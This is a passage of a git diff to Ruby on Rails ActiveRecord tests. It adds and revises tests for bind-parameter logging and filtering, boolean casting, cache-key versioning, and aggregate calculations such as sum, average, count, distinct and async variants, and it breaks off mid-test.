+        def assert_logs_unnamed_binds(binds)
+          payload = {
+            name: "SQL",
+            sql: "select * from topics where title = $1",
+            binds: binds,
+            type_casted_binds: @connection.send(:type_casted_binds, binds)
+          }
+
+          event = ActiveSupport::Notifications::Event.new(
+            "foo",
+            Time.now,
+            Time.now,
+            123,
+            payload)
+
+          old_logger = ActiveRecord::LogSubscriber.logger
+          ActiveRecord::LogSubscriber.logger = logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+          StructuredEventSubscriber.new.sql(event)
+          assert_match %r(\[\[nil, "abcd"\]\]\z), logger.logged(:debug).last
+        ensure
+          ActiveRecord::LogSubscriber.logger = old_logger
+        end
+
+        def assert_filtered_log_binds(binds)
+          payload = {
+            name: "SQL",
+            sql: "select * from users where auth_token = ?",
+            binds: binds,
+            type_casted_binds: @connection.send(:type_casted_binds, binds)
+          }
+
+          event = ActiveSupport::Notifications::Event.new(
+            "foo",
+            Time.now,
+            Time.now,
+            123,
+            payload)
+
+          old_logger = ActiveRecord::LogSubscriber.logger
+          ActiveRecord::LogSubscriber.logger = logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+          StructuredEventSubscriber.new.sql(event)
+          assert_match %r/#{Regexp.escape '[["auth_token", "[FILTERED]"]]'}/, logger.logged(:debug).last
+        ensure
+          ActiveRecord::LogSubscriber.logger = old_logger
+        end
     end
   end
 end
diff --git a/activerecord/test/cases/boolean_test.rb b/activerecord/test/cases/boolean_test.rb
new file mode 100644
index 0000000000000..18824004d2eab
--- /dev/null
+++ b/activerecord/test/cases/boolean_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/boolean"
+
+class BooleanTest < ActiveRecord::TestCase
+  def test_boolean
+    b_nil   = Boolean.create!(value: nil)
+    b_false = Boolean.create!(value: false)
+    b_true  = Boolean.create!(value: true)
+
+    assert_nil Boolean.find(b_nil.id).value
+    assert_not_predicate Boolean.find(b_false.id), :value?
+    assert_predicate Boolean.find(b_true.id), :value?
+  end
+
+  def test_boolean_without_questionmark
+    b_true = Boolean.create!(value: true)
+
+    subclass   = Class.new(Boolean).find(b_true.id)
+    superclass = Boolean.find(b_true.id)
+
+    assert_equal superclass.read_attribute(:has_fun), subclass.read_attribute(:has_fun)
+  end
+
+  def test_boolean_cast_from_string
+    b_blank = Boolean.create!(value: "")
+    b_false = Boolean.create!(value: "0")
+    b_true  = Boolean.create!(value: "1")
+
+    assert_nil Boolean.find(b_blank.id).value
+    assert_not_predicate Boolean.find(b_false.id), :value?
+    assert_predicate Boolean.find(b_true.id), :value?
+  end
+
+  def test_find_by_boolean_string
+    b_false = Boolean.create!(value: "false")
+    b_true  = Boolean.create!(value: "true")
+
+    assert_equal b_false, Boolean.find_by(value: "false")
+    assert_equal b_true, Boolean.find_by(value: "true")
+  end
+
+  def test_find_by_falsy_boolean_symbol
+    ActiveModel::Type::Boolean::FALSE_VALUES.each do |value|
+      b_false = Boolean.create!(value: value)
+
+      assert_not_predicate b_false, :value?
+      assert_equal b_false, Boolean.find_by(id: b_false.id, value: value.to_s.to_sym)
+    end
+  end
+end
diff --git a/activerecord/test/cases/cache_key_test.rb b/activerecord/test/cases/cache_key_test.rb
index bb2829b3c1170..00401f55aaeed 100644
--- a/activerecord/test/cases/cache_key_test.rb
+++ b/activerecord/test/cases/cache_key_test.rb
@@ -1,25 +1,131 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   class CacheKeyTest < ActiveRecord::TestCase
     self.use_transactional_tests = false
 
-    class CacheMe < ActiveRecord::Base; end
+    class CacheMe < ActiveRecord::Base
+      self.cache_versioning = false
+    end
+
+    class CacheMeWithVersion < ActiveRecord::Base
+      self.cache_versioning = true
+    end
 
     setup do
-      @connection = ActiveRecord::Base.connection
-      @connection.create_table(:cache_mes) { |t| t.timestamps }
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table(:cache_mes, force: true) { |t| t.timestamps }
+      @connection.create_table(:cache_me_with_versions, force: true) { |t| t.timestamps }
     end
 
     teardown do
       @connection.drop_table :cache_mes, if_exists: true
+      @connection.drop_table :cache_me_with_versions, if_exists: true
     end
 
-    test "test_cache_key_format_is_not_too_precise" do
+    test "cache_key format is not too precise" do
       record = CacheMe.create
       key = record.cache_key
 
       assert_equal key, record.reload.cache_key
     end
+
+    test "cache_key has no version when versioning is on" do
+      record = CacheMeWithVersion.create
+      assert_equal "active_record/cache_key_test/cache_me_with_versions/#{record.id}", record.cache_key
+    end
+
+    test "cache_version is only there when versioning is on" do
+      assert_predicate CacheMeWithVersion.create.cache_version, :present?
+      assert_not_predicate CacheMe.create.cache_version, :present?
+    end
+
+    test "cache_key_with_version always has both key and version" do
+      r1 = CacheMeWithVersion.create
+      assert_equal "active_record/cache_key_test/cache_me_with_versions/#{r1.id}-#{r1.updated_at.utc.to_fs(:usec)}", r1.cache_key_with_version
+
+      r2 = CacheMe.create
+      assert_equal "active_record/cache_key_test/cache_mes/#{r2.id}-#{r2.updated_at.utc.to_fs(:usec)}", r2.cache_key_with_version
+    end
+
+    test "cache_version is the same when it comes from the DB or from the user" do
+      skip("Mysql2, Trilogy, and PostgreSQL don't return a string value for updated_at") if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.find(record.id)
+      assert_not_called(record_from_db, :updated_at) do
+        record_from_db.cache_version
+      end
+
+      assert_equal record.cache_version, record_from_db.cache_version
+    end
+
+    test "cache_version does not truncate zeros when timestamp ends in zeros" do
+      skip("Mysql2, Trilogy, and PostgreSQL don't return a string value for updated_at") if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+
+      travel_to Time.now.beginning_of_day do
+        record = CacheMeWithVersion.create
+        record_from_db = CacheMeWithVersion.find(record.id)
+        assert_not_called(record_from_db, :updated_at) do
+          record_from_db.cache_version
+        end
+
+        assert_equal record.cache_version, record_from_db.cache_version
+      end
+    end
+
+    test "cache_version calls updated_at when the value is generated at create time" do
+      record = CacheMeWithVersion.create
+      assert_called(record, :updated_at) do
+        record.cache_version
+      end
+    end
+
+    test "cache_version does NOT call updated_at when value is from the database" do
+      skip("Mysql2, Trilogy, and PostgreSQL don't return a string value for updated_at") if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.find(record.id)
+      assert_not_called(record_from_db, :updated_at) do
+        record_from_db.cache_version
+      end
+    end
+
+    test "cache_version does call updated_at when it is assigned via a Time object" do
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.find(record.id)
+      assert_called(record_from_db, :updated_at) do
+        record_from_db.updated_at = Time.now
+        record_from_db.cache_version
+      end
+    end
+
+    test "cache_version does call updated_at when it is assigned via a string" do
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.find(record.id)
+      assert_called(record_from_db, :updated_at) do
+        record_from_db.updated_at = Time.now.to_s
+        record_from_db.cache_version
+      end
+    end
+
+    test "cache_version does call updated_at when it is assigned via a hash" do
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.find(record.id)
+      assert_called(record_from_db, :updated_at) do
+        record_from_db.updated_at = { 1 => 2016, 2 => 11, 3 => 12, 4 => 1, 5 => 2, 6 => 3, 7 => 22 }
+        record_from_db.cache_version
+      end
+    end
+
+    test "updated_at on class but not on instance raises an error" do
+      record = CacheMeWithVersion.create
+      record_from_db = CacheMeWithVersion.where(id: record.id).select(:id).first
+      assert_raises(ActiveModel::MissingAttributeError, match: /'updated_at' for .*CacheMeWithVersion/) do
+        record_from_db.cache_version
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 1813534b62ded..5fdc02fd5217b 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/book"
 require "models/club"
@@ -6,8 +8,11 @@
 require "models/edge"
 require "models/organization"
 require "models/possession"
+require "models/author"
 require "models/topic"
 require "models/reply"
+require "models/numeric_data"
+require "models/need_quoting"
 require "models/minivan"
 require "models/speedometer"
 require "models/ship_part"
@@ -16,34 +21,60 @@
 require "models/post"
 require "models/comment"
 require "models/rating"
-
-class NumericData < ActiveRecord::Base
-  self.table_name = "numeric_data"
-
-  attribute :world_population, :integer
-  attribute :my_house_population, :integer
-  attribute :atoms_in_universe, :integer
-end
+require "models/too_long_table_name"
+require "support/stubs/strong_parameters"
+require "support/async_helper"
+require "models/cpk"
 
 class CalculationsTest < ActiveRecord::TestCase
-  fixtures :companies, :accounts, :topics, :speedometers, :minivans, :books
+  include AsyncHelper
+
+  fixtures :companies, :accounts, :authors, :author_addresses, :topics, :speedometers, :minivans, :books, :posts, :comments, :cpk_books
 
   def test_should_sum_field
     assert_equal 318, Account.sum(:credit_limit)
+    assert_async_equal 318, Account.async_sum(:credit_limit)
   end
 
   def test_should_sum_arel_attribute
     assert_equal 318, Account.sum(Account.arel_table[:credit_limit])
+    assert_async_equal 318, Account.async_sum(Account.arel_table[:credit_limit])
+  end
+
+  def test_should_sum_with_qualified_name_on_loaded
+    accounts = Account.all
+
+    assert_not_predicate accounts, :loaded?
+    assert_equal 318, accounts.sum("accounts.credit_limit")
+
+    accounts.load
+
+    assert_predicate accounts, :loaded?
+    assert_equal 318, accounts.sum("accounts.credit_limit")
+  end
+
+  def test_should_count_with_group_by_qualified_name_on_loaded
+    accounts = Account.group("accounts.id")
+
+    expected = { 1 => 1, 2 => 1, 3 => 1, 4 => 1, 5 => 1, 6 => 1 }
+
+    assert_not_predicate accounts, :loaded?
+    assert_equal expected, accounts.count
+
+    accounts.load
+
+    assert_predicate accounts, :loaded?
+    assert_equal expected, accounts.count
   end
 
   def test_should_average_field
-    value = Account.average(:credit_limit)
-    assert_equal 53.0, value
+    assert_equal 53.0, Account.average(:credit_limit)
+    assert_async_equal 53.0, Account.async_average(:credit_limit)
   end
 
   def test_should_average_arel_attribute
-    value = Account.average(Account.arel_table[:credit_limit])
-    assert_equal 53.0, value
+    assert_equal 53.0, Account.average(Account.arel_table[:credit_limit])
+    assert_async_equal 53.0, Account.async_average(Account.arel_table[:credit_limit])
   end
 
   def test_should_resolve_aliased_attributes
@@ -52,14 +83,40 @@ def test_should_resolve_aliased_attributes
 
   def test_should_return_decimal_average_of_integer_field
     value = Account.average(:id)
+
     assert_equal 3.5, value
+    assert_instance_of BigDecimal, value
   end
 
   def test_should_return_integer_average_if_db_returns_such
-    ShipPart.delete_all
-    ShipPart.create!(id: 3, name: "foo")
-    value = ShipPart.average(:id)
-    assert_equal 3, value
+    value = Book.average(:status)
+
+    assert_equal 1.0, value
+    assert_instance_of BigDecimal, value
+  end
+
+  def test_should_return_float_average_if_db_returns_such
+    NumericData.create!(temperature: 37.5)
+    value = NumericData.average(:temperature)
+
+    assert_equal 37.5, value
+    assert_instance_of Float, value
+
+    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+      NumericData.create!(temperature: "Infinity")
+      value = NumericData.average(:temperature)
+
+      assert_equal Float::INFINITY, value
+      assert_instance_of Float, value
+    end
+  end
+
+  def test_should_return_decimal_average_if_db_returns_such
+    NumericData.create!([{ bank_balance: 37.50 }, { bank_balance: 37.45 }])
+    value = NumericData.average(:bank_balance)
+
+    assert_equal 37.475, value
+    assert_instance_of BigDecimal, value
   end
 
   def test_should_return_nil_as_average
@@ -68,14 +125,18 @@ def test_should_return_nil_as_average
 
   def test_should_get_maximum_of_field
     assert_equal 60, Account.maximum(:credit_limit)
+    assert_async_equal 60, Account.async_maximum(:credit_limit)
   end
 
   def test_should_get_maximum_of_arel_attribute
     assert_equal 60, Account.maximum(Account.arel_table[:credit_limit])
+    assert_async_equal 60, Account.async_maximum(Account.arel_table[:credit_limit])
   end
 
   def test_should_get_maximum_of_field_with_include
-    assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit)
+    relation = Account.where("companies.name != 'Summit'").references(:companies).includes(:firm)
+    assert_equal 55, relation.maximum(:credit_limit)
+    assert_async_equal 55, relation.async_maximum(:credit_limit)
   end
 
   def test_should_get_maximum_of_arel_attribute_with_include
@@ -84,10 +145,12 @@ def test_should_get_maximum_of_arel_attribute_with_include
 
   def test_should_get_minimum_of_field
     assert_equal 50, Account.minimum(:credit_limit)
+    assert_async_equal 50, Account.async_minimum(:credit_limit)
   end
 
   def test_should_get_minimum_of_arel_attribute
     assert_equal 50, Account.minimum(Account.arel_table[:credit_limit])
+    assert_async_equal 50, Account.async_minimum(Account.arel_table[:credit_limit])
   end
 
   def test_should_group_by_field
@@ -95,6 +158,7 @@ def test_should_group_by_field
     [1, 6, 2].each do |firm_id|
       assert_includes c.keys, firm_id, "Group #{c.inspect} does not contain firm_id #{firm_id}"
     end
+    assert_async_equal c, Account.group(:firm_id).async_sum(:credit_limit)
   end
 
   def test_should_group_by_arel_attribute
@@ -109,6 +173,19 @@ def test_should_group_by_multiple_fields
     [ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert_includes c.keys, firm_and_limit }
   end
 
+  def test_should_group_by_multiple_fields_when_table_name_is_too_long
+    2.times do
+      TooLongTableName.create!(
+        toooooooo_long_a_id: 1,
+        toooooooo_long_b_id: 2
+      )
+    end
+
+    res = TooLongTableName.group(:toooooooo_long_a_id, :toooooooo_long_b_id).count
+
+    assert_equal({ [1, 2] => 2 }, res)
+  end
+
   def test_should_group_by_multiple_fields_having_functions
     c = Topic.group(:author_name, "COALESCE(type, title)").count(:all)
     assert_equal 1, c[["Carl", "The Third Topic of the day"]]
@@ -118,10 +195,42 @@ def test_should_group_by_multiple_fields_having_functions
   end
 
   def test_should_group_by_summed_field
-    c = Account.group(:firm_id).sum(:credit_limit)
-    assert_equal 50,   c[1]
-    assert_equal 105,  c[6]
-    assert_equal 60,   c[2]
+    expected = { nil => 50, 1 => 50, 2 => 60, 6 => 105, 9 => 53 }
+    assert_equal expected, Account.group(:firm_id).sum(:credit_limit)
+  end
+
+  def test_group_by_multiple_same_field
+    accounts = Account.group(:firm_id)
+
+    expected = {
+      nil => 50,
+      1 => 50,
+      2 => 60,
+      6 => 105,
+      9 => 53
+    }
+    assert_equal expected, accounts.sum(:credit_limit)
+    assert_equal expected, accounts.merge!(accounts).uniq!(:group).sum(:credit_limit)
+
+    expected = {
+      nil => 50,
+      1 => 50,
+      2 => 60,
+      6 => 55,
+      9 => 53
+    }
+
+    assert_equal expected, accounts.merge!(accounts).maximum(:credit_limit)
+
+    expected = {
+      nil => 50,
+      1 => 50,
+      2 => 60,
+      6 => 50,
+      9 => 53
+    }
+
+    assert_equal expected, accounts.merge!(accounts).minimum(:credit_limit)
   end
 
   def test_should_generate_valid_sql_with_joins_and_group
@@ -143,6 +252,13 @@ def test_should_calculate_against_given_relation
     end
   end
 
+  def test_should_not_use_alias_for_grouped_field
+    assert_queries_match(/GROUP BY #{Regexp.escape(quote_table_name("accounts.firm_id"))}/i) do
+      c = Account.group(:firm_id).order("accounts_firm_id").sum(:credit_limit)
+      assert_equal [1, 2, 6, 9], c.keys.compact
+    end
+  end
+
   def test_should_order_by_grouped_field
     c = Account.group(:firm_id).order("firm_id").sum(:credit_limit)
     assert_equal [1, 2, 6, 9], c.keys.compact
@@ -165,15 +281,22 @@ def test_should_limit_calculation_with_offset
     assert_equal [2, 6], c.keys.compact
   end
 
+  def test_order_should_apply_before_count
+    accounts = Account.order(id: :desc).limit(4)
+
+    assert_equal 4, accounts.count(:firm_id)
+    assert_equal 4, accounts.select(:firm_id).count
+  end
+
   def test_limit_should_apply_before_count
-    accounts = Account.limit(4)
+    accounts = Account.order(:id).limit(4)
 
     assert_equal 3, accounts.count(:firm_id)
     assert_equal 3, accounts.select(:firm_id).count
   end
 
   def test_limit_should_apply_before_count_arel_attribute
-    accounts = Account.limit(4)
+    accounts = Account.order(:id).limit(4)
 
     firm_id_attribute = Account.arel_table[:firm_id]
     assert_equal 3, accounts.count(firm_id_attribute)
@@ -187,44 +310,134 @@ def test_count_should_shortcut_with_limit_zero
   end
 
   def test_limit_is_kept
-    return if current_adapter?(:OracleAdapter)
-
-    queries = assert_sql { Account.limit(1).count }
+    queries = capture_sql { Account.limit(1).count }
     assert_equal 1, queries.length
     assert_match(/LIMIT/, queries.first)
   end
 
   def test_offset_is_kept
-    return if current_adapter?(:OracleAdapter)
-
-    queries = assert_sql { Account.offset(1).count }
+    queries = capture_sql { Account.offset(1).count }
     assert_equal 1, queries.length
     assert_match(/OFFSET/, queries.first)
   end
 
   def test_limit_with_offset_is_kept
-    return if current_adapter?(:OracleAdapter)
-
-    queries = assert_sql { Account.limit(1).offset(1).count }
+    queries = capture_sql { Account.limit(1).offset(1).count }
     assert_equal 1, queries.length
     assert_match(/LIMIT/, queries.first)
     assert_match(/OFFSET/, queries.first)
   end
 
   def test_no_limit_no_offset
-    queries = assert_sql { Account.count }
+    queries = capture_sql { Account.count }
     assert_equal 1, queries.length
     assert_no_match(/LIMIT/, queries.first)
     assert_no_match(/OFFSET/, queries.first)
   end
 
+  def test_no_order_by_when_counting_all
+    queries = capture_sql { Account.order(id: :desc).limit(10).count }
+    assert_equal 1, queries.length
+    assert_no_match(/ORDER BY/, queries.first)
+  end
+
   def test_count_on_invalid_columns_raises
-    e = assert_raises(ActiveRecord::StatementInvalid) {
+    error = assert_raises(ActiveRecord::StatementInvalid) do
       Account.select("credit_limit, firm_name").count
-    }
+    end
+
+    assert_match %r{accounts}i, error.sql
+    assert_match "credit_limit, firm_name", error.sql
+  end
+
+  def test_apply_distinct_in_count
+    queries = capture_sql do
+      Account.distinct.count
+      Account.group(:firm_id).distinct.count
+    end
+
+    queries.each do |query|
+      assert_match %r{\ASELECT(?! DISTINCT) COUNT\(DISTINCT\b}, query
+    end
+  end
+
+  def test_count_with_eager_loading_and_custom_order
+    posts = Post.includes(:comments).order("comments.id")
+    assert_queries_count(1) { assert_equal 11, posts.count }
+    assert_queries_count(1) { assert_equal 11, posts.count(:all) }
+  end
+
+  def test_count_with_eager_loading_and_custom_select_and_order
+    posts = Post.includes(:comments).order("comments.id").select(:type)
+    assert_queries_count(1) { assert_equal 11, posts.count }
+    assert_queries_count(1) { assert_equal 11, posts.count(:all) }
+  end
+
+  def test_count_with_eager_loading_and_custom_order_and_distinct
+    posts = Post.includes(:comments).order("comments.id").distinct
+    assert_queries_count(1) { assert_equal 11, posts.count }
+    assert_queries_count(1) { assert_equal 11, posts.count(:all) }
+  end
+
+  def test_distinct_count_all_with_custom_select_and_order
+    accounts = Account.distinct.select("credit_limit % 10").order(Arel.sql("credit_limit % 10"))
+    assert_queries_count(1) { assert_equal 3, accounts.count(:all) }
+    assert_queries_count(1) { assert_equal 3, accounts.load.size }
+  end
+
+  def test_distinct_count_with_order_and_limit
+    assert_equal 4, Account.distinct.order(:firm_id).limit(4).count
+  end
+
+  def test_distinct_count_with_order_and_offset
+    assert_equal 4, Account.distinct.order(:firm_id).offset(2).count
+  end
+
+  def test_distinct_count_with_order_and_limit_and_offset
+    assert_equal 4, Account.distinct.order(:firm_id).limit(4).offset(2).count
+  end
 
-    assert_match %r{accounts}i, e.message
-    assert_match "credit_limit, firm_name", e.message
+  def test_distinct_joins_count_with_order_and_limit
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).limit(3).count
+  end
+
+  def test_distinct_joins_count_with_order_and_offset
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).offset(2).count
+  end
+
+  def test_distinct_joins_count_with_order_and_limit_and_offset
+    assert_equal 3, Account.joins(:firm).distinct.order(:firm_id).limit(3).offset(2).count
+  end
+
+  def test_distinct_joins_count_with_group_by
+    expected = { nil => 4, 1 => 1, 2 => 1, 4 => 1, 5 => 1, 7 => 1 }
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).distinct.count(:author_id)
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).distinct.select(:author_id).count
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).count("DISTINCT posts.author_id")
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).select("DISTINCT posts.author_id").count
+
+    expected = { nil => 6, 1 => 1, 2 => 1, 4 => 1, 5 => 1, 7 => 1 }
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).distinct.count(:all)
+    assert_equal expected, Post.left_joins(:comments).group(:post_id).distinct.select(:author_id).count(:all)
+  end
+
+  def test_distinct_count_with_group_by_and_order_and_limit
+    assert_equal({ 6 => 2 }, Account.group(:firm_id).distinct.order("1 DESC").limit(1).count)
+  end
+
+  def test_count_for_a_composite_primary_key_model
+    book = cpk_books(:cpk_great_author_first_book)
+    assert_equal(1, Cpk::Book.where(author_id: book.author_id, id: book.id).count)
+  end
+
+  def test_group_by_count_for_a_composite_primary_key_model
+    book = cpk_books(:cpk_great_author_first_book)
+    expected = { book.author_id => Cpk::Book.where(author_id: book.author_id).count }
+    assert_equal(expected, Cpk::Book.where(author_id: book.author_id).group(:author_id).count)
+  end
+
+  def test_count_for_a_composite_primary_key_model_with_includes_and_references
+    assert_equal Cpk::Book.count, Cpk::Book.includes(:chapters).references(:chapters).count
   end
 
   def test_should_group_by_summed_field_having_condition
@@ -235,7 +448,8 @@ def test_should_group_by_summed_field_having_condition
   end
 
   def test_should_group_by_summed_field_having_condition_from_select
-    c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit)
+    skip unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :SQLite3Adapter)
+    c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("min_credit_limit > 50").sum(:credit_limit)
     assert_nil       c[1]
     assert_equal 60, c[2]
     assert_equal 53, c[9]
@@ -274,11 +488,13 @@ def test_should_group_by_summed_field_with_conditions
   end
 
   def test_should_group_by_summed_field_with_conditions_and_having
-    c = Account.where("firm_id > 1").group(:firm_id).
-     having("sum(credit_limit) > 60").sum(:credit_limit)
+    relation = Account.where("firm_id > 1").group(:firm_id).having("sum(credit_limit) > 60")
+    c = relation.sum(:credit_limit)
     assert_nil        c[1]
     assert_equal 105, c[6]
     assert_nil        c[2]
+
+    assert_async_equal c, relation.async_sum(:credit_limit)
   end
 
   def test_should_group_by_fields_with_table_alias
@@ -288,6 +504,17 @@ def test_should_group_by_fields_with_table_alias
     assert_equal 60,  c[2]
   end
 
+  def test_should_calculate_grouped_with_longer_field
+    field = "a" * Account.lease_connection.max_identifier_length
+
+    Account.update_all("#{field} = credit_limit")
+
+    c = Account.group(:firm_id).sum(field)
+    assert_equal 50,  c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
   def test_should_calculate_with_invalid_field
     assert_equal 6, Account.calculate(:count, "*")
     assert_equal 6, Account.calculate(:count, :all)
@@ -330,7 +557,7 @@ def test_should_calculate_grouped_by_function
     assert_equal 2, c[nil]
     assert_equal 1, c["DEPENDENTFIRM"]
     assert_equal 5, c["CLIENT"]
-    assert_equal 2, c["FIRM"]
+    assert_equal 3, c["FIRM"]
   end
 
   def test_should_calculate_grouped_by_function_with_table_alias
@@ -338,11 +565,19 @@ def test_should_calculate_grouped_by_function_with_table_alias
     assert_equal 2, c[nil]
     assert_equal 1, c["DEPENDENTFIRM"]
     assert_equal 5, c["CLIENT"]
-    assert_equal 2, c["FIRM"]
+    assert_equal 3, c["FIRM"]
   end
 
   def test_should_not_overshadow_enumerable_sum
+    some_companies = companies(:rails_core).companies.order(:id)
+
     assert_equal 6, [1, 2, 3].sum(&:abs)
+    assert_equal 15, some_companies.sum(&:id)
+    assert_equal 25, some_companies.sum(10, &:id)
+    assert_raises(TypeError) do
+      some_companies.sum(&:name)
+    end
+    assert_equal "companies: LeetsoftJadedpixel", some_companies.sum("companies: ", &:name)
   end
 
   def test_should_sum_scoped_field
@@ -372,11 +607,13 @@ def test_should_group_by_summed_field_through_association_and_having
   def test_should_count_selected_field_with_include
     assert_equal 6, Account.includes(:firm).distinct.count
     assert_equal 4, Account.includes(:firm).distinct.select(:credit_limit).count
+    assert_equal 4, Account.includes(:firm).distinct.count("DISTINCT credit_limit")
+    assert_equal 4, Account.includes(:firm).distinct.count("DISTINCT(credit_limit)")
   end
 
   def test_should_not_perform_joined_include_by_default
     assert_equal Account.count, Account.includes(:firm).count
-    queries = assert_sql { Account.includes(:firm).count }
+    queries = capture_sql { Account.includes(:firm).count }
     assert_no_match(/join/i, queries.last)
   end
 
@@ -402,11 +639,36 @@ def test_should_count_manual_select_with_include
     assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count
   end
 
+  def test_should_count_manual_select_with_count_all
+    assert_equal 5, Account.select("DISTINCT accounts.firm_id").count(:all)
+  end
+
+  def test_should_count_with_manual_distinct_select_and_distinct
+    assert_equal 4, Account.select("DISTINCT accounts.firm_id").distinct(true).count
+  end
+
+  def test_should_count_manual_select_with_group_with_count_all
+    expected = { nil => 1, 1 => 1, 2 => 1, 6 => 2, 9 => 1 }
+    actual = Account.select("DISTINCT accounts.firm_id").group("accounts.firm_id").count(:all)
+    assert_equal expected, actual
+  end
+
+  def test_should_count_manual_with_count_all
+    assert_equal 6, Account.count(:all)
+  end
+
   def test_count_selected_arel_attribute
     assert_equal 5, Account.select(Account.arel_table[:firm_id]).count
     assert_equal 4, Account.distinct.select(Account.arel_table[:firm_id]).count
   end
 
+  def test_count_selected_arel_attributes
+    # Only MySQL supports COUNT with multiple columns, and only with DISTINCT.
+    skip unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+
+    assert_equal 5, Account.distinct.select(Account.arel_table[:id], Account.arel_table[:firm_id]).count
+  end
+
   def test_count_with_column_parameter
     assert_equal 5, Account.count(:firm_id)
   end
@@ -452,13 +714,23 @@ def test_should_count_field_in_joined_table_with_group_by
     [1, 6, 2, 9].each { |firm_id| assert_includes c.keys, firm_id }
   end
 
+  def test_should_count_field_in_joined_table_with_group_by_when_tables_share_column_names
+    assert Company.columns_hash.key?("status")
+    assert Account.columns_hash.key?("status")
+
+    counts = Company.joins(:account).group("accounts.status").count
+    assert_equal({ "active" => 2, "trial" => 2, "suspended" => 1 }, counts)
+  end
+
   def test_should_count_field_of_root_table_with_conflicting_group_by_column
-    assert_equal({ 1 => 1 }, Firm.joins(:accounts).group(:firm_id).count)
-    assert_equal({ 1 => 1 }, Firm.joins(:accounts).group("accounts.firm_id").count)
+    expected = { 1 => 2, 2 => 1, 4 => 5, 5 => 3, 7 => 1 }
+    assert_equal expected, Post.joins(:comments).group(:post_id).count
+    assert_equal expected, Post.joins(:comments).group("comments.post_id").count
+    assert_equal expected, Post.joins(:comments).group(:post_id).select("DISTINCT posts.author_id").count(:all)
   end
 
   def test_count_with_no_parameters_isnt_deprecated
-    assert_not_deprecated { Account.count }
+    assert_not_deprecated(ActiveRecord.deprecator) { Account.count }
   end
 
   def test_count_with_too_many_parameters_raises
@@ -483,15 +755,17 @@ def test_count_with_block
     assert_equal 4, Account.count { |account| account.credit_limit.modulo(10).zero? }
   end
 
-  def test_should_sum_expression
-    # Oracle adapter returns floating point value 636.0 after SUM
-    if current_adapter?(:OracleAdapter)
-      assert_equal 636, Account.sum("2 * credit_limit")
-    else
-      assert_equal 636, Account.sum("2 * credit_limit").to_i
+  def test_count_with_empty_in
+    assert_queries_count(0) do
+      assert_equal 0, Topic.where(id: []).count
+      assert_async_equal 0, Topic.where(id: []).async_count
     end
   end
 
+  def test_should_sum_expression
+    assert_equal 636, Account.sum("2 * credit_limit")
+  end
+
   def test_sum_expression_returns_zero_when_no_records_to_sum
     assert_equal 0, Account.where("1 = 2").sum("2 * credit_limit")
   end
@@ -528,6 +802,36 @@ def test_maximum_with_from_option
         Account.where("credit_limit > 50").from("accounts").maximum(:credit_limit)
   end
 
+  def test_no_queries_for_empty_relation_on_count
+    assert_queries_count(0) do
+      assert_equal 0, Post.where(id: []).count
+    end
+  end
+
+  def test_no_queries_for_empty_relation_on_sum
+    assert_queries_count(0) do
+      assert_equal 0, Post.where(id: []).sum(:tags_count)
+    end
+  end
+
+  def test_no_queries_for_empty_relation_on_average
+    assert_queries_count(0) do
+      assert_nil Post.where(id: []).average(:tags_count)
+    end
+  end
+
+  def test_no_queries_for_empty_relation_on_minimum
+    assert_queries_count(0) do
+      assert_nil Account.where(id: []).minimum(:id)
+    end
+  end
+
+  def test_no_queries_for_empty_relation_on_maximum
+    assert_queries_count(0) do
+      assert_nil Account.where(id: []).maximum(:id)
+    end
+  end
+
   def test_maximum_with_not_auto_table_name_prefix_if_column_included
     Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
 
@@ -546,12 +850,16 @@ def test_sum_with_not_auto_table_name_prefix_if_column_included
     assert_equal 7, Company.includes(:contracts).sum(:developer_id)
   end
 
-  if current_adapter?(:Mysql2Adapter)
-    def test_from_option_with_specified_index
-      assert_equal Edge.count(:all), Edge.from("edges USE INDEX(unique_edge_index)").count(:all)
-      assert_equal Edge.where("sink_id < 5").count(:all),
-          Edge.from("edges USE INDEX(unique_edge_index)").where("sink_id < 5").count(:all)
-    end
+  def test_sum_with_grouped_calculation
+    expected = { 0 => 0, 1 => 0, 3 => 0 }
+
+    assert_equal(expected, Post.group(:tags_count).sum)
+  end
+
+  def test_from_option_with_specified_index
+    edges = Edge.from("edges /*! USE INDEX(unique_edge_index) */")
+    assert_equal Edge.count(:all), edges.count(:all)
